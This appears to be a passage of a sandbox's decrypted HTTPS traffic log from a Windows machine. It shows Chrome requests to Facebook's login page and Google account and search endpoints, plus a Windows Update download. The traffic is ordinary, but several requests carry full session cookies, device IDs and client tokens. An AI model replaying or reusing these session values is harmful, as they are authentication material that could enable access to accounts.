2024-01-17 23:35:07 UTC	2480	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 2a 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob:
2024-01-17 23:35:07 UTC	513	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 58 2d 46 42 2d 44 65 62 75 67 2c 20 58 2d 4c 6f 61 64 65 72 2d 4c 65 6e 67 74 68 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 4f 50 54 49 4f 4e 53 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 0d 0a 56 61 72 79 3a 20 4f 72 69 67 69 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 31 35 35 35 32 30 30 30 3b 20 70 72 Data Ascii: Access-Control-Expose-Headers: X-FB-Debug, X-Loader-LengthAccess-Control-Allow-Methods: OPTIONSAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: https://www.facebook.comVary: OriginStrict-Transport-Security: max-age=15552000; pr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49946	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:06 UTC	1175	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__dyn=7xe6E5aQ1PyUbFp61swgE98nwgU29zEdEc8uwdK0lW4o3Bw5VCwjE3awbG78b87C0yE7i0n24o5-0me2218w5uw5Uwdq0Ho2eU5O0PU1mUdEG0hi0Lo6-0iq0NE&__hs=19739.BP%3ADEFAULT.2.0..0.0&__hsi=7325214917401592632&__req=1&__rev=1010867501&__s=heq9de%3A1o93e2%3A7fv6pa&__spin_b=trunk&__spin_r=1010867501&__spin_t=1705534504&__user=0&dpr=1&jazoest=2937&lsd=AVraRSlEuD0 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 1731 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPmsj1VUsp3ArYvy6 Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sb=CmSoZXuzKcF1rAq_PIc_YoJb; wd=1280x907; fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQo.AWU78CfQ8GM; datr=CmSoZS_e47taJeaFNDxl31-H
2024-01-17 23:35:06 UTC	1731	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 50 6d 73 6a 31 56 55 73 70 33 41 72 59 76 79 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 30 35 35 33 34 35 30 35 36 32 37 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 50 6d 73 6a 31 56 55 73 70 33 41 72 59 76 79 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 71 22 0d 0a 0d 0a 5b 7b 22 61 70 70 5f 69 64 22 3a 22 32 35 36 32 38 31 30 34 30 35 35 38 22 2c 22 70 6f 73 74 73 22 3a 22 6c 67 37 77 62 31 74 62 49 6d 5a 68 62 47 4e 76 4f 6d 4a 79 62 33 64 7a 5a 58 4a 66 63 47 56 79 Data Ascii: ------WebKitFormBoundaryPmsj1VUsp3ArYvy6Content-Disposition: form-data; name="ts"1705534505627------WebKitFormBoundaryPmsj1VUsp3ArYvy6Content-Disposition: form-data; name="q"[{"app_id":"256281040558","posts":"lg7wb1tbImZhbGNvOmJyb3dzZXJfcGVy
2024-01-17 23:35:07 UTC	479	IN	HTTP/1.1 200 OK reporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":3600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}],"group":"network-errors"} nel: {"report_to":"network-errors","max_age":3600,"failure_fraction":0.01}
2024-01-17 23:35:07 UTC	2504	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 2a 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob:
2024-01-17 23:35:07 UTC	513	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 58 2d 46 42 2d 44 65 62 75 67 2c 20 58 2d 4c 6f 61 64 65 72 2d 4c 65 6e 67 74 68 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 4f 50 54 49 4f 4e 53 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 43 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 0d 0a 56 61 72 79 3a 20 4f 72 69 67 69 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 31 35 35 35 32 30 30 30 3b 20 70 72 Data Ascii: Access-Control-Expose-Headers: X-FB-Debug, X-Loader-LengthAccess-Control-Allow-Methods: OPTIONSAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: https://www.facebook.comVary: OriginStrict-Transport-Security: max-age=15552000; pr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49948	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:07 UTC	1512	OUT	GET /generate_204?jUQAow HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; OTZ=7387175_52_52_123900_48_436380; __Host-GAPS=1:8NYQ1jjDG5rOMGPnOF4Q2qPYlrHdbw:Pr7VuCt41o1dCYDD
2024-01-17 23:35:07 UTC	203	IN	HTTP/1.1 204 No Content Content-Length: 0 Cross-Origin-Resource-Policy: cross-origin Date: Wed, 17 Jan 2024 23:35:07 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49949	142.251.163.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:07 UTC	1700	OUT	GET /ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:35:07 UTC	2014	IN	HTTP/1.1 302 Found Content-Type: application/binary Set-Cookie: __Host-GAPS=1:_YOBFVRBe_DVUpbPZ9Kle04gq0NWQQ:lMCl3TBVih6DG0-L; Expires=Fri, 16-Jan-2026 23:35:07 GMT; Path=/; Secure; HttpOnly; Priority=HIGH Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:07 GMT Location: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&passive=true&service=youtube&uilel=3&ifkv=ASKXGp18P5Wh-PMCBOSb8MBRUmTnpgDcZAGtitTqtna4iG0Qwwh3DNFXl8W_aSQMfVNzeRd_6Jallw Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy: script-src 'report-sample' 'nonce-tpD9PHwNysaC-r659NY1GA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsSigninPassiveLoginHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport Cross-Origin-Opener-Policy: unsafe-none Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49947	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:07 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=P+KoVP9x6mYxasV&MD=CFat5hzV HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-01-17 23:35:07 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: b472b6e1-1c87-4273-8cf7-fe126591e197 MS-RequestId: 44cdb0e1-bf9a-4db6-bf83-5ce855614d63 MS-CV: 1VPYQCCkskKBL8W6.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:06 GMT Connection: close Content-Length: 25457
2024-01-17 23:35:07 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-01-17 23:35:07 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.6	49961	142.251.163.84	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:10 UTC	779	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; OTZ=7387175_52_52_123900_48_436380; __Host-GAPS=1:vwc5Fxh26ZaiFwvZVypSBIlciNnvtQ:StK8MVu31lxzbeEl
2024-01-17 23:35:10 UTC	1	OUT	Data Raw: 20 Data Ascii:
2024-01-17 23:35:11 UTC	1627	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:11 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-U_lifjFufRw3-fuSnWEYpA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:11 UTC	23	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2024-01-17 23:35:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.6	49962	142.250.65.196	443

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:11 UTC	752	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNAQiG8M0BCPnA1BUY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:35:11 UTC	1880	IN	HTTP/1.1 200 OK Date: Wed, 17 Jan 2024 23:35:11 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-O2BXTuptd44pKfLc5ykpFg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: CONSENT=PENDING+545; expires=Fri, 16-Jan-2026 23:35:11 GMT; path=/; domain=.google.com; Secure P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:11 UTC	1880	IN	Data Raw: 62 32 32 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6c 69 66 65 6c 61 62 73 20 66 6f 72 20 73 61 6c 65 20 6f 6d 65 72 73 22 2c 22 69 63 65 6c 61 6e 64 20 76 6f 6c 63 61 6e 6f 20 65 72 75 70 74 69 6f 6e 22 2c 22 73 75 6d 20 34 31 20 66 69 6e 61 6c 20 74 6f 75 72 20 64 61 74 65 73 22 2c 22 65 64 6d 6f 6e 74 6f 6e 20 6f 69 6c 65 72 73 20 74 6f 72 6f 6e 74 6f 20 6d 61 70 6c 65 20 6c 65 61 66 73 22 2c 22 6e 79 74 20 6d 69 6e 69 20 63 72 6f 73 73 77 6f 72 64 20 63 6c 75 65 73 22 2c 22 74 6f 72 6f 6e 74 6f 20 77 65 61 74 68 65 72 22 2c 22 61 72 69 7a 6f 6e 61 20 68 6f 74 20 61 69 72 20 62 61 6c 6c 6f 6f 6e 20 63 72 61 73 68 22 2c 22 73 6c 65 65 70 20 74 6f 6b 65 6e 20 62 61 6e 64 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c Data Ascii: b22)]}'["",["lifelabs for sale omers","iceland volcano eruption","sum 41 final tour dates","edmonton oilers toronto maple leafs","nyt mini crossword clues","toronto weather","arizona hot air balloon crash","sleep token band"],["","","","","","","",""],
